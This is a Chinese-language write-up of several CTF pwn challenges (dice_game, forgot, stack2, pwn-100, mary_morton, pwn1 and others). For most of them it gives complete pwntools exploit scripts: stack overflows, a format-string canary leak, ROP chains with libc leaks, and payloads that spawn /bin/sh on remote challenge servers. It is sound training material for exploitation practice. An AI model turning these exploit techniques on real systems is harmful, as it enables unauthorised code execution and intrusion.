dice_game
IDA看一下:
这个和新手训练的guess_num一样都是猜数字,buf溢出改seed。:不多说了。
唯一的问题是附件中给的libc.so.6我好像没法用,写的exp一直提示我Illegal
instruction (core dumped),很迷。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *from ctypes import *p = remote('111.198.29.45' , 30940 ) c = CDLL('libc.so.6' ) print (c)payload = 'a' * 0x40 + p64(1 ) c.srand(1 ) p.recvuntil('name:' ) p.sendline(payload) for i in range (50 ): p.recvuntil('point(1~6):' ) p.sendline(str (c.rand()%6 +1 )) p.interactive()
得到flag:
warmup
这个题没给附件……我看了看别人的wp的代码,就是一个很简单的溢出,cat
flag函数都现成的。直接写exp就行了:
1 2 3 4 5 6 7 8 from pwn import *p = remote('111.198.29.45' , 41547 ) payload = 'a' * (0x40 + 8 ) + p64(0x40060d ) p.recvuntil('>' ) p.sendline(payload) print (p.recv())
得到flag:
forgot
题目描述:福克斯最近玩弄有限状态自动机。在探索概念实现正则表达式使用FSA他想实现一个电子邮件地址验证。
最近,Lua开始骚扰福克斯。对此,福克斯向Lua挑战斗智斗勇。福克斯承诺要奖励Lua,如果她能到不可达状态在FSA他实施过渡。可以在这里访问复制。
运行服务hack.bckdr.in:8009
看一下源码:
for循环是判断输入字符串是否符合格式,例如sub_8048702(v2[i])就是判断首字母是否为小写字母或数字或特定字符:
第88行的代码是根据v14的值调用v3~v12中的一个函数(输出字符串)。例如v3:
该程序调用函数和参数都是根据偏移量来调用,
程序中有system函数,因此我们的思路就是通过栈溢出让程序执行system函数,那么我们要知道我们输入的字符串的位置。
观察汇编代码可以得到v2(我们输入的字符串)的地址为[esp+10h]
于是开始构造exp运行,构造的过程中我发现调用system之后system执行的命令就是我们输入的字符串:
所以可以直接输入/bin/sh,但是只输入/bin/sh不能达到栈溢出的目的,需要占位符。用
; 来隔离后面的无用的占位符,确保命令能正常执行。
如果我们输入/bin/sh,那么程序在判断输入字符串是否符合格式的时候就会调用sub_8048618(),因此我们就要修改[esp+34h]的地址为system的地址。那么和我们的[esp+10h]之间的偏移量就是36,也就是我们需要输入36个字符。
得到exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *p = remote('111.198.29.45' , 35636 ) e = ELF('../files/forgot' ) sys = e.symbols['system' ] payload = '/bin/sh' + ';' + 'w' * 28 + p32(sys) p.recvuntil('name?\n' ) p.recvuntil('>' ) p.sendline('name' ) p.recvuntil('validate\n' ) p.recvuntil('>' ) p.sendline(payload) p.interactive()
得到flag:
stack2
程序是一个求平均数的软件,输入一个数组,可以查看当前数组、添加和修改数组中的数还有求平均数。
看一下源码:
发现在修改数的时候没有判断数组越界,所以可以构造栈溢出。
看一下程序中发现有hackme函数:
那么就是构造栈溢出让程序返回到hackhere。
我们在第60行下断点,动态调试一下:
此时堆栈如图,可以看到FF942C68是v13的起始地址。
继续调试,按5退出,观察函数调用情况:
可以看到退出时调用函数所在栈的位置是FF942CEC,那么我们就要修改FF942CEC的值,那就可以得到偏移量为FF942CEC-FF942C68=0x84。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *p = remote('111.198.29.45' ,57626 ) e = ELF('../files/stack2' ) p.sendlineafter('How many numbers you have:\n' , '1' ) p.sendlineafter('Give me your numbers\n' , '1' ) offset = 0x84 def sendaddr (offset,addr ): p.recvuntil('5. exit' ) p.sendline('3' ) p.recv() p.sendline(str (offset)) p.recv() p.sendline(str (addr)) sendaddr(offset, 0x9B ) sendaddr(offset + 1 , 0x85 ) sendaddr(offset + 2 , 0x04 ) sendaddr(offset + 3 , 0x08 ) p.recvuntil('5. exit' ) p.sendline('5' ) p.interactive()
运行发现错误:
就感觉/bash怪怪的,那看来得自己传参了。由于system传入sh也可以执行shell,所以我们直接使用程序中的现成的sh就可以了。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *p = remote('111.198.29.45' ,57626 ) e = ELF('../files/stack2' ) p.sendlineafter('How many numbers you have:\n' , '1' ) p.sendlineafter('Give me your numbers\n' , '1' ) sys_addr = e.symbols['system' ] log.success('system_addr => {}' .format (hex (sys_addr))) offset = 0x84 def sendaddr (offset,addr ): p.recvuntil('5. exit' ) p.sendline('3' ) p.recv() p.sendline(str (offset)) p.recv() p.sendline(str (addr)) sendaddr(offset, 0x50 ) sendaddr(offset + 1 , 0x84 ) sendaddr(offset + 2 , 0x04 ) sendaddr(offset + 3 , 0x08 ) offset += 8 sendaddr(offset, 0x87 ) sendaddr(offset + 1 , 0x89 ) sendaddr(offset + 2 , 0x04 ) sendaddr(offset + 3 , 0x08 ) p.recvuntil('5. exit' ) p.sendline('5' ) p.interactive()
获得shell,得到flag:
pwn-100
这是一个64位的ELF文件:
IDA看一下源码:
v1存在栈溢出漏洞。程序中没有system函数,没有/bin/sh,由于是64位程序,所以需要利用ROP来传参数,关于ROP的学习,推荐个大佬的博客:ROP学习:64位栈溢出 。
程序中有read,puts,所以思路是调用puts把read的绝对地址泄露出来然后找到libc版本和偏移量把system和/bin/sh的地址找到,再调用system,传入/bin/sh拿到shell。参数通过ROP方法传递。
首先寻找ROP:
由于我们要用的puts和system函数都只需要一个参数,所以只需要rdi就可以。pop
rdi; ret 的地址为0x0000000000400763。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *from LibcSearcher import *p = remote('111.198.29.45' , 30013 ) e = ELF('../files/pwn-100' ) vuln = 0x40068e read_got = e.got['read' ] puts_plt = e.plt['puts' ] pop_rdi = 0x0000000000400763 log.success('read_got_addr => {}' .format (hex (read_got))) log.success('puts_plt_addr => {}' .format (hex (puts_plt))) payload1 = 'a' * 0x48 payload1 += p64(pop_rdi) + p64(read_got) + p64(puts_plt) payload1 += p64(vuln) payload1 += 'a' * (200 - len (payload1)) p.send(payload1) p.recv() read_leak = u64(p.recv()[1 :-1 ].ljust(8 ,'\0' )) log.success('read_leak_addr => {}' .format (hex (read_leak))) libc = LibcSearcher('read' , read_leak) libc_base = read_leak - libc.dump('read' ) sys_addr = libc_base + libc.dump('system' ) bin_sh_addr = libc_base + libc.dump('str_bin_sh' ) print 'system_addr:' , hex (sys_addr)print 'bin_sh_addr:' , hex (bin_sh_addr)payload2 = 'a' * 0x48 payload2 += p64(pop_rdi) + p64(bin_sh_addr) + p64(sys_addr) payload2 += 'a' * (200 - len (payload2)) p.send(payload2) p.interactive()
执行exp,选择libc版本选0,得到shell:
得到flag:
mary_morton
题目描述:非常简单的热身pwn
首先看一下源码:
可以看到我们可以选择栈溢出漏洞或者是格式化字符串漏洞。
首先看一下栈溢出漏洞:
buf是很典型的栈溢出。
再看一下格式化字符串漏洞:
也是很典型的格式化字符串漏洞。
程序中还有一个目标函数:
那么思路很明确,就是栈溢出让程序返回到cat_flag(名字是我改的)得到flag就行了。但是这个程序有个问题,它开启了canary保护。
所以我们没办法直接进行栈溢出,否则就会报错,因此我们要绕过canary保护,这方面知识可以看CTFwiki 。
要绕过canary保护,其中一种方式是知道canary是多少,程序中可以看到canary的偏移量是0x90-8=0x88:
那么思路就是我们通过格式化字符串漏洞得知canary的值然后在栈溢出的时候把canary写进去,这样就可以绕过canary保护。
要想知道canary的值,就得知道canary在内存中的地址,我们通过代码可以知道格式化字符串的偏移量是6,而我们输入参数(buf)和canary之间的偏移为0x90
- 8 = 0x88字节,八个字节为一组,0x88 / 8 =
17,也就是说格式化字符串到canary的偏移是17+6=23,那么我们用%23$p
就可以看到偏移量为23的内存的内容了。这样就可以得到canary。后面就是简单的栈溢出了。
构造exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *p = remote('111.198.29.45' ,58615 ) e = ELF('../files/mary_morton' ) get_flag = 0x4008da format_offset = 6 payload = "%23$p" p.recvuntil('battle' ) p.sendline('2' ) p.sendline(payload) p.recvuntil('0x' ) canary = int (p.recv(16 ),16 ) p.recvuntil('battle' ) p.sendline('1' ) payload2 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(get_flag) p.sendline(payload2) p.interactive()
得到flag:
monkey
这个题给了个js,打开之后是一个js
shell,由于我不会js,我刚开始看的时候毫无头绪,还是用传统的方法打开IDA分析,啥也没看出来。后来发现这个题其实如果你知道js相关的知识就很简单了,js有个os.system函数,直接os.system("/bin/sh")就可以获取shell了。
pwn1
先运行看看:
IDA打开看一下源码:
可以看到一个典型的栈溢出,要构造的肯定是&s了。这个题没有现成的获取flag目标函数,因此我们就需要ROP。同时这个题有canary,因此我们需要绕过canary。
看一下&s:
var_8就是我们要获取的canary。
main函数的起始地址是0x400908。
那么思路就是首先通过puts得到canary,然后通过puts爆出read的真实地址,找到libc,然后在用libc中的system和/bin/sh反弹shell。要注意的一点就是canary的最后两位不是0a,而是,因为我们在构造的时候输入0x88个a时还输入了一个回车,这个回车把canary最后的00覆盖成了0a。正是这个覆盖才让puts能输出canary。
64位通过rdi传参,首先获得rdi地址:
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *from LibcSearcher import *p = remote('111.198.29.45' , 56221 ) e = ELF('../files/babystack' ) rdi_addr = 0x0000000000400a93 start = 0x400908 puts_plt = e.plt['puts' ] read_got = e.got['read' ] log.success('puts_plt_addr => {}' .format (hex (puts_plt))) log.success('read_got_addr => {}' .format (hex (read_got))) p.sendlineafter('>> ' ,'1' ) payload = 'a' * 0x88 p.sendline(payload) p.sendlineafter('>> ' ,'2' ) p.recvuntil('a' * 0x88 + '\n' ) canary = u64(p.recv(7 ).rjust(8 ,'\x00' )) log.success('canary => {}' .format (hex (canary))) p.sendlineafter('>> ' ,'1' ) payload = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(rdi_addr) + p64(read_got) + p64(puts_plt) payload += p64(start) p.sendline(payload) p.sendlineafter('>> ' ,'3' ) real_read = u64(p.recv(8 ).ljust(8 ,'\x00' )) log.success('real_read_address => {}' .format (hex (real_read))) libc = LibcSearcher('read' ,real_read) libc_base = real_read - libc.dump('read' ) sys_addr = libc_base + libc.dump('system' ) bin_sh_addr = libc_base + libc.dump('str_bin_sh' ) log.success('libc_base_addr => {}' .format (hex (libc_base))) log.success('system_addr => {}' .format (hex (sys_addr))) log.success('bin_sh_addr => {}' .format (hex (bin_sh_addr))) p.sendlineafter('>> ' ,'1' ) payload = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr) p.sendline(payload) p.sendlineafter('>> ' ,'3' ) p.interactive()
运行,选择题目给的libc,得到flag: